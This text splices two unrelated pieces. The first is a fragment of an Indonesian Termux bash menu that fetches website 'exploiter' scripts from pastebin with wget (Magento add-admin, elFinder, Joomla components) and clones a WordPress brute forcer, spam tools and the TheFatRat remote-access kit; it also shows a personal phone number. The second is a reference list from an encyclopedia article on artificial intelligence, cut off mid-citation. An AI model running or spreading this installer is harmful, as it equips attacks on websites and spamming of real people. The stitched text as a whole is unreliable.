sleep 1 apt update && apt upgrade apt-get install php mkdir adfin cd ~/webdav wget https://pastebin.com/raw/32txZ6Qr -O adfin.php cd ~/ echo -e $red" Done Install ^_^ " fi if [ $bct = 18 ] || [ $bct = 18 ] then clear echo -e $green" installing lokomedia exploiter " sleep 1 apt update && apt upgrade apt-get install php mkdir lokomed cd ~/lokomed wget https://pastebin.com/raw/sPpJRjCZ -O lokomedia.php cd ~/ echo -e $red" Done Install ^_^ " echo -e $red" usage : php lokomedia.php a.txt " fi if [ $bct = 19 ] || [ $bct = 19 ] then clear echo -e $green" installing elfinder exploiter " sleep 1 apt update && apt upgrade apt-get install php mkdir elfinder cd ~/elfinder wget https://pastebin.com/raw/S7Y2V19h -O elfinder.php cd ~/ echo -e $red" Done Install ^_^ " fi if [ $bct = 20 ] || [ $bct = 20 ] then clear echo -e $green" installing magento add admin exploiter " sleep 1 apt update && apt upgrade apt-get install php mkdir magento cd ~/magento wget https://pastebin.com/raw/PXkG73pG -O magento.php cd ~/ echo -e $red" Done Install ^_^ " fi if [ $bct = 21 ] || [ $bct = 21 ] then clear echo -e $green" installing scanner tools " sleep 1 apt update && apt upgrade apt install python mkdir scanner cd ~/scanner wget https://pastebin.com/raw/m79t1Zia -O scanner.py wget https://pastebin.com/raw/mgKxMWXh -O admins.1337 wget https://pastebin.com/raw/EafKj98D -O files.1337 cd ~/ echo -e $red" Done Install ^_^ " echo -e $red" usage : python2 scanner.py site.com -m files " fi if [ $bct = 22 ] || [ $bct = 22 ] then clear echo -e $green" installing katoolin " sleep 1 apt update && apt upgrade pkg install git pkg install python pkg install gnupg pkg install nano git clone https://github.com/LionSec/katoolin.git cd ~/katoolin echo -e $green"note : nano katoolin.py ganti semua kode /etc/apt/source.list dengan /data/data/com.termux/files/usr/etc/apt/sources.list kemudian simpan dengan menekan ctrl O enter kemudian ctrl X . jika tidak ada menu ctrl pada keyboard munculkan dengan menahan tombol volume atas kemudian ketik Q pada keyboard maka menu ctrl akan muncul di atas keyboard python2 katoolin.py Sisanya bisa mengikuti cara install di atas, Jika menemui masalah gpg error saat melakukan add repository install gnupg-curl dengan perintah pkg install gnupg-curl Untuk yg menggunakan termux dengan cpu arm64 (aarch64) tidak bisa menambahkan repositori kali linux karna kali linux tidak support aarch64, jadi sebelum menginstall tools kali di termux wajib dengan android dengan arm32 jika arm64 gunakan gnuroot" echo -e $red" Done Install ^_^ " fi if [ $bct = 23 ] || [ $bct = 23 ] then clear echo -e $green" installing arch linux " sleep 1 apt update && apt upgrade apt-get install git cd ~/ git clone https://github.com/sdrausty/termux-archlinux.git cd termux-archlinux chmod +x setupTermuxArch.sh ./setupTermuxArch.sh echo -e $red" Done Install ^_^ " fi if [ $bct = 24 ] || [ $bct = 24 ] then clear echo -e $green" installing fedora " sleep 1 apt update && apt upgrade apt-get install git apt install wget git clone https://github.com/nmilosev/termux-fedora.git cd termux-fedora chmod +x termux-fedora.sh echo -e $red" Done Install ^_^ " fi if [ $bct = 25 ] || [ $bct = 25 ] then clear echo -e $green" installing hash-Buster " sleep 1 apt update && apt upgrade apt install python2 && apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster echo -e $red" Done Install ^_^ " fi if [ $bct = 26 ] || [ $bct 26 ] then clear echo -e $green" installing aircrack-ng " sleep 1 apt-get update && apt-get upgrade apt-get install aircrack-ng echo -e $red" done install ^_^ " fi if [ $bct = 27 ] || [ $bct = 27 ] then clear echo -e $green" installing joomscan " sleep 1 apt-get update && apt-get upgrade apt-get install git apt-get install perl git clone https://github.com/rezasp/joomscan.git echo -e $red" done install ^_^ " fi fi if [ $bct = 28 ] || [ $bct = 28 ] then clear echo -e $green" installing mailer-sender " sleep 1 apt-get update && apt-get upgrade apt-get install php5-cli curl -sS https://getcomposer.org/installer | php chmod +x composer.phar sudo mv composer.phar /usr/bin/composer git clone https://github.com/pedro-stanaka/mailer-cli.git echo -e $red" note !! " echo -e $red" usage php sendmail.php notification:mailer <email> <subject> <body>; " echo -e $red" or " echo -e $red" php sendmail.php --help " echo -e $red" done install ^_^ " fi if [ $bct = 29 ] || [ $bct = 29 ] then clear echo -e $green" installing wordpress brute force " sleep 1 apt-get update && apt-get upgrade apt-get install python apt-get install python-pip pip install request git clone https://github.com/atarantini/wpbf echo -e $red" done install ^_^ " fi if [ $bct = 30 ] || [ $bct = 30 ] then clear echo -e $green" installing termux Ohmyzsh " sleep 1 apt-get update && apt-get upgrade sh -c "$(curl -fsSL https://github.com/Cabbagec/termux-ohmyzsh/raw/master/install.sh)" ~/.termux/colors.sh echo -e $red" ganti color ? ketik ~/.termux/colors.sh " echo -e $red" Done Install ^_^ " fi if [ $bct = 31 ] || [ $bct = 31 ] then clear echo -e $green" installing Instabot instagram bot " sleep 1 apt-get update && apt-get upgrade pkg install python apt-get install git apt-get install nano git clone https://github.com/instabot-py/instabot.py echo -e $red" Done Install ^_^ " echo -e $red" Please wait... " echo -e $red" Please wait... " sleep 1 cd instabot.py echo -e $red" ketik nano example.py " echo -e $red" masukan username dan password mu" echo -e $red" Done Install ^_^" fi if [ $bct = 32 ] || [ $bct = 32 ] then clear echo -e $green" installing fsociety " sleep 1 apt-get update && apt-get upgrade pkg install python apt-get install git git clone https://github.com/Manisso/fsociety echo -e $red" Done Install ^_^ " echo -e $red" Please wait... " echo -e $red" Please wait... " sleep 1 cd fsociety echo -e $red" python fsociety.py " fi if [ $bct = 33 ] || [ $bct = 33 ] then clear echo -e $green" installing CMS Scanner " sleep 1 apt-get update && apt-get upgrade pkg install python apt-get install git git clone https://github.com/Dionach/CMSmap.git sleep 1 cd CMSmap echo -e $red" Usage: cmsmap.py -t <URL> " fi if [ $bct = 34 ] || [ $bct = 34 ] then clear echo -e $green" installing INFORMATION Gathering " sleep 1 apt-get update && apt-get upgrade pkg install python apt-get install git git clone https://github.com/m4ll0k/Infoga.git infoga sleep 1 cd infoga pip install -r req echo -e $red" Usage: python infoga.py " fi if [ $bct = 35 ] || [ $bct = 35 ] then clear echo -e $green" installing com fabrik exploiter " sleep 1 apt-get update && apt-get upgrade apt-get install wget apt-get install php wget https://pastebin.com/raw/LDvFvtUD -O com_fabrik.php sleep 1 echo -e $red" Usage: php com_fabrik.php target.txt " fi if [ $bct = 36 ] || [ $bct = 36 ] then clear echo -e $green" installing com foxcontact exploiter " sleep 1 apt-get update && apt-get upgrade apt-get install wget apt-get install php wget https://pastebin.com/raw/EAtSir5V -O com_foxcontact.php sleep 1 echo -e $red" Usage: php com_foxcontact.php target.txt " fi if [ $bct = 37 ] || [ $bct = 37 ] then clear echo -e $green" installing ezsploit " sleep 1 apt-get update && apt-get upgrade apt-get install git git clone https://github.com/rand0m1ze/ezsploit sleep 1 echo -e $red" Done Install ^_^ " fi if [ $bct = 38 ] || [ $bct = 38 ] then clear echo -e $green" installing spammer grab " sleep 1 apt-get update && apt-get upgrade apt-get install git apt-get install python pip install requests git clone https://github.com/p4kl0nc4t/Spammer-Grab/ sleep 1 echo -e $red" Done Install ^_^ " fi if [ $bct = 39 ] || [ $bct = 39 ] then clear echo -e $green" installing spammer toko pedia " sleep 1 apt-get update && apt-get upgrade apt-get install git apt-get install unzip git clone https://github.com/mrcakil/spam cd spam unzip toko-pedia.zip sleep 1 echo -e $red" Done Install ^_^ " fi if [ $bct = 40 ] || [ $bct = 40 ] then clear echo -e $green" installing TheFatRat " sleep 1 apt-get update && apt-get upgrade apt-get install git git clone https://github.com/Screetsec/TheFatRat.git cd TheFatRat chmod +x setup.sh && ./setup.sh sleep 1 echo -e $red" Done Install ^_^ " fi if [ $bct = 41 ] || [ $bct = 41 ] then echo -e $green" pesan terakhir " sleep 1 echo -e $green" dear jomblo " sleep 1 echo -e $green" Jangan Hina Orang " sleep 1 echo -e $green" Please Wait.... " sleep 1 echo -e $green" contact : 082335546357 " sleep 1 echo -e $blue" fb : https://www.facebook.com/profile.php?id=100009867736195 " sleep 1 echo -e $red" SMKN 1 Kertosono :* " sleep 1 exit fi
Aryia-Behroziuan
Poole, Mackworth & Goebel 1998, p. 1. Russell & Norvig 2003, p. 55. Definition of AI as the study of intelligent agents: Poole, Mackworth & Goebel (1998), which provides the version that is used in this article. These authors use the term "computational intelligence" as a synonym for artificial intelligence.[1] Russell & Norvig (2003) (who prefer the term "rational agent") and write "The whole-agent view is now widely accepted in the field".[2] Nilsson 1998 Legg & Hutter 2007 Russell & Norvig 2009, p. 2. McCorduck 2004, p. 204 Maloof, Mark. "Artificial Intelligence: An Introduction, p. 37" (PDF). georgetown.edu. Archived (PDF) from the original on 25 August 2018. "How AI Is Getting Groundbreaking Changes In Talent Management And HR Tech". Hackernoon. Archived from the original on 11 September 2019. Retrieved 14 February 2020. Schank, Roger C. (1991). "Where's the AI". AI magazine. Vol. 12 no. 4. p. 38. Russell & Norvig 2009. "AlphaGo – Google DeepMind". Archived from the original on 10 March 2016. Allen, Gregory (April 2020). "Department of Defense Joint AI Center - Understanding AI Technology" (PDF). AI.mil - The official site of the Department of Defense Joint Artificial Intelligence Center. Archived (PDF) from the original on 21 April 2020. Retrieved 25 April 2020. Optimism of early AI: * Herbert Simon quote: Simon 1965, p. 96 quoted in Crevier 1993, p. 109. * Marvin Minsky quote: Minsky 1967, p. 2 quoted in Crevier 1993, p. 109. Boom of the 1980s: rise of expert systems, Fifth Generation Project, Alvey, MCC, SCI: * McCorduck 2004, pp. 426–441 * Crevier 1993, pp. 161–162,197–203, 211, 240 * Russell & Norvig 2003, p. 24 * NRC 1999, pp. 210–211 * Newquist 1994, pp. 235–248 First AI Winter, Mansfield Amendment, Lighthill report * Crevier 1993, pp. 115–117 * Russell & Norvig 2003, p. 22 * NRC 1999, pp. 212–213 * Howe 1994 * Newquist 1994, pp. 189–201 Second AI winter: * McCorduck 2004, pp. 430–435 * Crevier 1993, pp. 209–210 * NRC 1999, pp. 214–216 * Newquist 1994, pp. 301–318 AI becomes hugely successful in the early 21st century * Clark 2015 Pamela McCorduck (2004, p. 424) writes of "the rough shattering of AI in subfields—vision, natural language, decision theory, genetic algorithms, robotics ... and these with own sub-subfield—that would hardly have anything to say to each other." This list of intelligent traits is based on the topics covered by the major AI textbooks, including: * Russell & Norvig 2003 * Luger & Stubblefield 2004 * Poole, Mackworth & Goebel 1998 * Nilsson 1998 Kolata 1982. Maker 2006. Biological intelligence vs. intelligence in general: Russell & Norvig 2003, pp. 2–3, who make the analogy with aeronautical engineering. McCorduck 2004, pp. 100–101, who writes that there are "two major branches of artificial intelligence: one aimed at producing intelligent behavior regardless of how it was accomplished, and the other aimed at modeling intelligent processes found in nature, particularly human ones." Kolata 1982, a paper in Science, which describes McCarthy's indifference to biological models. Kolata quotes McCarthy as writing: "This is AI, so we don't care if it's psychologically real".[19] McCarthy recently reiterated his position at the AI@50 conference where he said "Artificial intelligence is not, by definition, simulation of human intelligence".[20]. Neats vs. scruffies: * McCorduck 2004, pp. 421–424, 486–489 * Crevier 1993, p. 168 * Nilsson 1983, pp. 10–11 Symbolic vs. sub-symbolic AI: * Nilsson (1998, p. 7), who uses the term "sub-symbolic". General intelligence (strong AI) is discussed in popular introductions to AI: * Kurzweil 1999 and Kurzweil 2005 See the Dartmouth proposal, under Philosophy, below. McCorduck 2004, p. 34. McCorduck 2004, p. xviii. McCorduck 2004, p. 3. McCorduck 2004, pp. 340–400. This is a central idea of Pamela McCorduck's Machines Who Think. She writes: "I like to think of artificial intelligence as the scientific apotheosis of a venerable cultural tradition."[26] "Artificial intelligence in one form or another is an idea that has pervaded Western intellectual history, a dream in urgent need of being realized."[27] "Our history is full of attempts—nutty, eerie, comical, earnest, legendary and real—to make artificial intelligences, to reproduce what is the essential us—bypassing the ordinary means. Back and forth between myth and reality, our imaginations supplying what our workshops couldn't, we have engaged for a long time in this odd form of self-reproduction."[28] She traces the desire back to its Hellenistic roots and calls it the urge to "forge the Gods."[29] "Stephen Hawking believes AI could be mankind's last accomplishment". BetaNews. 21 October 2016. Archived from the original on 28 August 2017. Lombardo P, Boehm I, Nairz K (2020). "RadioComics – Santa Claus and the future of radiology". Eur J Radiol. 122 (1): 108771. doi:10.1016/j.ejrad.2019.108771. PMID 31835078. Ford, Martin; Colvin, Geoff (6 September 2015). "Will robots create more jobs than they destroy?". The Guardian. Archived from the original on 16 June 2018. Retrieved 13 January 2018. AI applications widely used behind the scenes: * Russell & Norvig 2003, p. 28 * Kurzweil 2005, p. 265 * NRC 1999, pp. 216–222 * Newquist 1994, pp. 189–201 AI in myth: * McCorduck 2004, pp. 4–5 * Russell & Norvig 2003, p. 939 AI in early science fiction. * McCorduck 2004, pp. 17–25 Formal reasoning: * Berlinski, David (2000). The Advent of the Algorithm. Harcourt Books. ISBN 978-0-15-601391-8. OCLC 46890682. Archived from the original on 26 July 2020. Retrieved 22 August 2020. Turing, Alan (1948), "Machine Intelligence", in Copeland, B. Jack (ed.), The Essential Turing: The ideas that gave birth to the computer age, Oxford: Oxford University Press, p. 412, ISBN 978-0-19-825080-7 Russell & Norvig 2009, p. 16. Dartmouth conference: * McCorduck 2004, pp. 111–136 * Crevier 1993, pp. 47–49, who writes "the conference is generally recognized as the official birthdate of the new science." * Russell & Norvig 2003, p. 17, who call the conference "the birth of artificial intelligence." * NRC 1999, pp. 200–201 McCarthy, John (1988). "Review of The Question of Artificial Intelligence". Annals of the History of Computing. 10 (3): 224–229., collected in McCarthy, John (1996). "10. Review of The Question of Artificial Intelligence". Defending AI Research: A Collection of Essays and Reviews. CSLI., p. 73, "[O]ne of the reasons for inventing the term "artificial intelligence" was to escape association with "cybernetics". Its concentration on analog feedback seemed misguided, and I wished to avoid having either to accept Norbert (not Robert) Wiener as a guru or having to argue with him." Hegemony of the Dartmouth conference attendees: * Russell & Norvig 2003, p. 17, who write "for the next 20 years the field would be dominated by these people and their students." * McCorduck 2004, pp. 129–130 Russell & Norvig 2003, p. 18. Schaeffer J. (2009) Didn't Samuel Solve That Game?. In: One Jump Ahead. Springer, Boston, MA Samuel, A. L. (July 1959). "Some Studies in Machine Learning Using the Game of Checkers". IBM Journal of Research and Development. 3 (3): 210–229. CiteSeerX 10.1.1.368.2254. doi:10.1147/rd.33.0210. "Golden years" of AI (successful symbolic reasoning programs 1956–1973): * McCorduck 2004, pp. 243–252 * Crevier 1993, pp. 52–107 * Moravec 1988, p. 9 * Russell & Norvig 2003, pp. 18–21 The programs described are Arthur Samuel's checkers program for the IBM 701, Daniel Bobrow's STUDENT, Newell and Simon's Logic Theorist and Terry Winograd's SHRDLU. DARPA pours money into undirected pure research into AI during the 1960s: * McCorduck 2004, p. 131 * Crevier 1993, pp. 51, 64–65 * NRC 1999, pp. 204–205 AI in England: * Howe 1994 Lighthill 1973. Expert systems: * ACM 1998, I.2.1 * Russell & Norvig 2003, pp. 22–24 * Luger & Stubblefield 2004, pp. 227–331 * Nilsson 1998, chpt. 17.4 * McCorduck 2004, pp. 327–335, 434–435 * Crevier 1993, pp. 145–62, 197–203 * Newquist 1994, pp. 155–183 Mead, Carver A.; Ismail, Mohammed (8 May 1989). Analog VLSI Implementation of Neural Systems (PDF). The Kluwer International Series in Engineering and Computer Science. 80. Norwell, MA: Kluwer Academic Publishers. doi:10.1007/978-1-4613-1639-8. ISBN 978-1-4613-1639-8. Archived from the original (PDF) on 6 November 2019. Retrieved 24 January 2020. Formal methods are now preferred ("Victory of the neats"): * Russell & Norvig 2003, pp. 25–26 * McCorduck 2004, pp. 486–487 McCorduck 2004, pp. 480–483. Markoff 2011. "Ask the AI experts: What's driving today's progress in AI?". McKinsey & Company. Archived from the original on 13 April 2018. Retrieved 13 April 2018. Administrator. "Kinect's AI breakthrough explained". i-programmer.info. Archived from the original on 1 February 2016. Rowinski, Dan (15 January 2013). "Virtual Personal Assistants & The Future Of Your Smartphone [Infographic]". ReadWrite. Archived from the original on 22 December 2015. "Artificial intelligence: Google's AlphaGo beats Go master Lee Se-dol". BBC News. 12 March 2016. Archived from the original on 26 August 2016. Retrieved 1 October 2016. Metz, Cade (27 May 2017). "After Win in China, AlphaGo's Designers Explore New AI". Wired. Archived from the original on 2 June 2017. "World's Go Player Ratings". May 2017. Archived from the original on 1 April 2017. "柯洁迎19岁生日 雄踞人类世界排名第一已两年" (in Chinese). May 2017. Archived from the original on 11 August 2017. Clark, Jack (8 December 2015). "Why 2015 Was a Breakthrough Year in Artificial Intelligence". Bloomberg News. Archived from the original on 23 November 2016. Retrieved 23 November 2016. After a half-decade of quiet breakthroughs in artificial intelligence, 2015 has been a landmark year. Computers are smarter and learning faster than ever. "Reshaping Business With Artificial Intelligence". MIT Sloan Management Review. Archived from the original on 19 May 2018. Retrieved 2 May 2018. Lorica, Ben (18 December 2017). "The state of AI adoption". O'Reilly Media. Archived from the original on 2 May 2018. Retrieved 2 May 2018. Allen, Gregory (6 February 2019). "Understanding China's AI Strategy". Center for a New American Security. Archived from the original on 17 March 2019. "Review | How two AI superpowers – the U.S. and China – battle for supremacy in the field". Washington Post. 2 November 2018. Archived from the original on 4 November 2018. Retrieved 4 November 2018. at 10:11, Alistair Dabbs 22 Feb 2019. "Artificial Intelligence: You know it isn't real, yeah?". www.theregister.co.uk. Archived from the original on 21 May 2020. Retrieved 22 August 2020. "Stop Calling it Artificial Intelligence". Archived from the original on 2 December 2019. Retrieved 1 December 2019. "AI isn't taking over the world – it doesn't exist yet". GBG Global website. Archived from the original on 11 August 2020. Retrieved 22 August 2020. Kaplan, Andreas; Haenlein, Michael (1 January 2019). "Siri, Siri, in my hand: Who's the fairest in the land? On the interpretations, illustrations, and implications of artificial intelligence". Business Horizons. 62 (1): 15–25. doi:10.1016/j.bushor.2018.08.004. Domingos 2015, Chapter 5. Domingos 2015, Chapter 7. Lindenbaum, M., Markovitch, S., & Rusakov, D. (2004). Selective sampling for nearest neighbor classifiers. Machine learning, 54(2), 125–152. Domingos 2015, Chapter 1. Intractability and efficiency and the combinatorial explosion: * Russell & Norvig 2003, pp. 9, 21–22 Domingos 2015, Chapter 2, Chapter 3. Hart, P. E.; Nilsson, N. J.; Raphael, B. (1972). "Correction to "A Formal Basis for the Heuristic Determination of Minimum Cost Paths"". SIGART Newsletter (37): 28–29. doi:10.1145/1056777.1056779. S2CID 6386648. Domingos 2015, Chapter 2, Chapter 4, Chapter 6. "Can neural network computers learn from experience, and if so, could they ever become what we would call 'smart'?". Scientific American. 2018. Archived from the original on 25 March 2018. Retrieved 24 March 2018. Domingos 2015, Chapter 6, Chapter 7. Domingos 2015, p. 286. "Single pixel change fools AI programs". BBC News. 3 November 2017. Archived from the original on 22 March 2018. Retrieved 12 March 2018. "AI Has a Hallucination Problem That's Proving Tough to Fix". WIRED. 2018. Archived from the original on 12 March 2018. Retrieved 12 March 2018. Matti, D.; Ekenel, H. K.; Thiran, J. P. (2017). Combining LiDAR space clustering and convolutional neural networks for pedestrian detection. 2017 14th IEEE International Conference on Advanced Video and Signal Based Surveillance (AVSS). pp. 1–6. arXiv:1710.06160. doi:10.1109/AVSS.2017.8078512. ISBN 978-1-5386-2939-0. S2CID 2401976. Ferguson, Sarah; Luders, Brandon; Grande, Robert C.; How, Jonathan P. (2015). Real-Time Predictive Modeling and Robust Avoidance of Pedestrians with Uncertain, Changing Intentions. Algorithmic Foundations of Robotics XI. Springer Tracts in Advanced Robotics. 107. Springer, Cham. pp. 161–177. arXiv:1405.5581. doi:10.1007/978-3-319-16595-0_10. ISBN 978-3-319-16594-3. S2CID 8681101. "Cultivating Common Sense | DiscoverMagazine.com". Discover Magazine. 2017. Archived from the original on 25 March 2018. Retrieved 24 March 2018. Davis, Ernest; Marcus, Gary (24 August 2015). "Commonsense reasoning and commonsense knowledge in artificial intelligence". Communications of the ACM. 58 (9): 92–103. doi:10.1145/2701413. S2CID 13583137. Archived from the original on 22 August 2020. Retrieved 6 April 2020. Winograd, Terry (January 1972). "Understanding natural language". Cognitive Psychology. 3 (1): 1–191. doi:10.1016/0010-0285(72)90002-3. "Don't worry: Autonomous cars aren't coming tomorrow (or next year)". Autoweek. 2016. Archived from the original on 25 March 2018. Retrieved 24 March 2018. Knight, Will (2017). "Boston may be famous for bad drivers, but it's the testing ground for a smarter self-driving car". MIT Technology Review. Archived from the original on 22 August 2020. Retrieved 27 March 2018. Prakken, Henry (31 August 2017). "On the problem of making autonomous vehicles conform to traffic law". Artificial Intelligence and Law. 25 (3): 341–363. doi:10.1007/s10506-017-9210-0. Lieto, Antonio (May 2018). "The knowledge level in cognitive architectures: Current limitations and possible developments". Cognitive Systems Research. 48: 39–55. doi:10.1016/j.cogsys.2017.05.001. hdl:2318/1665207. S2CID 206868967. Problem solving, puzzle solving, game playing and deduction: * Russell & Norvig 2003, chpt. 3–9, * Poole, Mackworth & Goebel 1998, chpt. 2,3,7,9, * Luger & Stubblefield 2004, chpt. 3,4,6,8, * Nilsson 1998, chpt. 7–12 Uncertain reasoning: * Russell & Norvig 2003, pp. 452–644, * Poole, Mackworth & Goebel 1998, pp. 345–395, * Luger & Stubblefield 2004, pp. 333–381, * Nilsson 1998, chpt. 19 Psychological evidence of sub-symbolic reasoning: * Wason & Shapiro (1966) showed that people do poorly on completely abstract problems, but if the problem is restated to allow the use of intuitive social intelligence, performance dramatically improves. (See Wason selection task) * Kahneman, Slovic & Tversky (1982) have shown that people are terrible at elementary problems that involve uncertain reasoning. (See list of cognitive biases for several examples). * Lakoff & Núñez (2000) have controversially argued that even our skills at mathematics depend on knowledge and skills that come from "the body", i.e. sensorimotor and perceptual skills. (See Where Mathematics Comes From) Knowledge representation: * ACM 1998, I.2.4, * Russell & Norvig 2003, pp. 320–363, * Poole, Mackworth & Goebel 1998, pp. 23–46, 69–81, 169–196, 235–277, 281–298, 319–345, * Luger & Stubblefield 2004, pp. 227–243, * Nilsson 1998, chpt. 18 Knowledge engineering: * Russell & Norvig 2003, pp. 260–266, * Poole, Mackworth & Goebel 1998, pp. 199–233, * Nilsson 1998, chpt. ≈17.1–17.4 Representing categories and relations: Semantic networks, description logics, inheritance (including frames and scripts): * Russell & Norvig 2003, pp. 349–354, * Poole, Mackworth & Goebel 1998, pp. 174–177, * Luger & Stubblefield 2004, pp. 248–258, * Nilsson 1998, chpt. 18.3 Representing events and time:Situation calculus, event calculus, fluent calculus (including solving the frame problem): * Russell & Norvig 2003, pp. 328–341, * Poole, Mackworth & Goebel 1998, pp. 281–298, * Nilsson 1998, chpt. 18.2 Causal calculus: * Poole, Mackworth & Goebel 1998, pp. 335–337 Representing knowledge about knowledge: Belief calculus, modal logics: * Russell & Norvig 2003, pp. 341–344, * Poole, Mackworth & Goebel 1998, pp. 275–277 Sikos, Leslie F. (June 2017). Description Logics in Multimedia Reasoning. Cham: Springer. doi:10.1007/978-3-319-54066-5. ISBN 978-3-319-54066-5. S2CID 3180114. Archived from the original on 29 August 2017. Ontology: * Russell & Norvig 2003, pp. 320–328 Smoliar, Stephen W.; Zhang, HongJiang (1994). "Content based video indexing and retrieval". IEEE Multimedia. 1 (2): 62–72. doi:10.1109/93.311653. S2CID 32710913. Neumann, Bernd; Möller, Ralf (January 2008). "On scene interpretation with description logics". Image and Vision Computing. 26 (1): 82–101. doi:10.1016/j.imavis.2007.08.013. Kuperman, G. J.; Reichley, R. M.; Bailey, T. C. (1 July 2006). "Using Commercial Knowledge Bases for Clinical Decision Support: Opportunities, Hurdles, and Recommendations". Journal of the American Medical Informatics Association. 13 (4): 369–371. doi:10.1197/jamia.M2055. PMC 1513681. PMID 16622160. MCGARRY, KEN (1 December 2005). "A survey of interestingness measures for knowledge discovery". The Knowledge Engineering Review. 20 (1): 39–61. doi:10.1017/S0269888905000408. S2CID 14987656. Bertini, M; Del Bimbo, A; Torniai, C (2006). "Automatic annotation and semantic retrieval of video sequences using multimedia ontologies". MM '06 Proceedings of the 14th ACM international conference on Multimedia. 14th ACM international conference on Multimedia. Santa Barbara: ACM. pp. 679–682. Qualification problem: * McCarthy & Hayes 1969 * Russell & Norvig 2003[page needed] While McCarthy was primarily concerned with issues in the logical representation of actions, Russell & Norvig 2003 apply the term to the more general issue of default reasoning in the vast network of assumptions underlying all our commonsense knowledge. Default reasoning and default logic, non-monotonic logics, circumscription, closed world assumption, abduction (Poole et al. places abduction under "default reasoning". Luger et al. places this under "uncertain reasoning"): * Russell & Norvig 2003, pp. 354–360, * Poole, Mackworth & Goebel 1998, pp. 248–256, 323–335, * Luger & Stubblefield 2004, pp. 335–363, * Nilsson 1998, ~18.3.3 Breadth of commonsense knowledge: * Russell & Norvig 2003, p. 21, * Crevier 1993, pp. 113–114, * Moravec 1988, p. 13, * Lenat & Guha 1989 (Introduction) Dreyfus & Dreyfus 1986. Gladwell 2005. Expert knowledge as embodied intuition: * Dreyfus & Dreyfus 1986 (Hubert Dreyfus is a philosopher and critic of AI who was among the first to argue that most useful human knowledge was encoded sub-symbolically. See Dreyfus' critique of AI) * Gladwell 2005 (Gladwell's Blink is a popular introduction to sub-symbolic reasoning and knowledge.) * Hawkins & Blakeslee 2005 (Hawkins argues that sub-symbolic knowledge should be the primary focus of AI research.) Planning: * ACM 1998, ~I.2.8, * Russell & Norvig 2003, pp. 375–459, * Poole, Mackworth & Goebel 1998, pp. 281–316, * Luger & Stubblefield 2004, pp. 314–329, * Nilsson 1998, chpt. 10.1–2, 22 Information value theory: * Russell & Norvig 2003, pp. 600–604 Classical planning: * Russell & Norvig 2003, pp. 375–430, * Poole, Mackworth & Goebel 1998, pp. 281–315, * Luger & Stubblefield 2004, pp. 314–329, * Nilsson 1998, chpt. 10.1–2, 22 Planning and acting in non-deterministic domains: conditional planning, execution monitoring, replanning and continuous planning: * Russell & Norvig 2003, pp. 430–449 Multi-agent planning and emergent behavior: * Russell & Norvig 2003, pp. 449–455 Turing 1950. Solomonoff 1956. Alan Turing discussed the centrality of learning as early as 1950, in his classic paper "Computing Machinery and Intelligence".[120] In 1956, at the original Dartmouth AI summer conference, Ray Solomonoff wrote a report on unsupervised probabilistic machine learning: "An Inductive Inference Machine".[121] This is a form of Tom Mitchell's widely quoted definition of machine learning: "A computer program is set to learn from an experience E with respect to some task T and some performance measure P if its performance on T as measured by P improves with experience E." Learning: * ACM 1998, I.2.6, * Russell & Norvig 2003, pp. 649–788, * Poole, Mackworth & Goebel 1998, pp. 397–438, * Luger & Stubblefield 2004, pp. 385–542, * Nilsson 1998, chpt. 3.3, 10.3, 17.5, 20 Jordan, M. I.; Mitchell, T. M. (16 July 2015). "Machine learning: Trends, perspectives, and prospects". Science. 349 (6245): 255–260. Bibcode:2015Sci...349..255J. doi:10.1126/science.aaa8415. PMID 26185243. S2CID 677218. Reinforcement learning: * Russell & Norvig 2003, pp. 763–788 * Luger & Stubblefield 2004, pp. 442–449 Natural language processing: * ACM 1998, I.2.7 * Russell & Norvig 2003, pp. 790–831 * Poole, Mackworth & Goebel 1998, pp. 91–104 * Luger & Stubblefield 2004, pp. 591–632 "Versatile question answering systems: seeing in synthesis" Archived 1 February 2016 at the Wayback Machine, Mittal et al., IJIIDS, 5(2), 119–142, 2011 Applications of natural language processing, including information retrieval (i.e. text mining) and machine translation: * Russell & Norvig 2003, pp. 840–857, * Luger & Stubblefield 2004, pp. 623–630 Cambria, Erik; White, Bebo (May 2014). "Jumping NLP Curves: A Review of Natural Language Processing Research [Review Article]". IEEE Computational Intelligence Magazine. 9 (2): 48–57. doi:10.1109/MCI.2014.2307227. S2CID 206451986. Vincent, James (7 November 2019). "OpenAI has published the text-generating AI it said was too dangerous to share". The Verge. Archived from the original on 11 June 2020. Retrieved 11 June 2020. Machine perception: * Russell & Norvig 2003, pp. 537–581, 863–898 * Nilsson 1998, ~chpt. 6 Speech recognition: * ACM 1998, ~I.2.7 * Russell & Norvig 2003, pp. 568–578 Object recognition: * Russell & Norvig 2003, pp. 885–892 Computer vision: * ACM 1998, I.2.10 * Russell & Norvig 2003, pp. 863–898 * Nilsson 1998, chpt. 6 Robotics: * ACM 1998, I.2.9, * Russell & Norvig 2003, pp. 901–942, * Poole, Mackworth & Goebel 1998, pp. 443–460 Moving and configuration space: * Russell & Norvig 2003, pp. 916–932 Tecuci 2012. Robotic mapping (localization, etc): * Russell & Norvig 2003, pp. 908–915 Cadena, Cesar; Carlone, Luca; Carrillo, Henry; Latif, Yasir; Scaramuzza, Davide; Neira, Jose; Reid, Ian; Leonard, John J. (December 2016). "Past, Present, and Future of Simultaneous Localization and Mapping: Toward the Robust-Perception Age". IEEE Transactions on Robotics. 32 (6): 1309–1332. arXiv:1606.05830. Bibcode:2016arXiv160605830C. doi:10.1109/TRO.2016.2624754. S2CID 2596787. Moravec, Hans (1988). Mind Children. Harvard University Press. p. 15. Chan, Szu Ping (15 November 2015). "This is what will happen when robots take over the world". Archived from the original on 24 April 2018. Retrieved 23 April 2018. "IKEA furniture and the limits of AI". The Economist. 2018. Archived from the original on 24 April 2018. Retrieved 24 April 2018. Kismet. Thompson, Derek (2018). "What Jobs Will the Robots Take?". The Atlantic. Archived from the original on 24 April 2018. Retrieved 24 April 2018. Scassellati, Brian (2002). "Theory of mind for a humanoid robot". Autonomous Robots. 12 (1): 13–24. doi:10.1023/A:1013298507114. S2CID 1979315. Cao, Yongcan; Yu, Wenwu; Ren, Wei; Chen, Guanrong (February 2013). "An Overview of Recent Progress in the Study of Distributed Multi-Agent Coordination". IEEE Transactions on Industrial Informatics. 9 (1): 427–438. arXiv:1207.3231. doi:10.1109/TII.2012.2219061. S2CID 9588126. Thro 1993. Edelson 1991. Tao & Tan 2005. Poria, Soujanya; Cambria, Erik; Bajpai, Rajiv; Hussain, Amir (September 2017). "A review of affective computing: From unimodal analysis to multimodal fusion". Information Fusion. 37: 98–125. doi:10.1016/j.inffus.2017.02.003. hdl:1893/25490. Emotion and affective computing: * Minsky 2006 Waddell, Kaveh (2018). "Chatbots Have 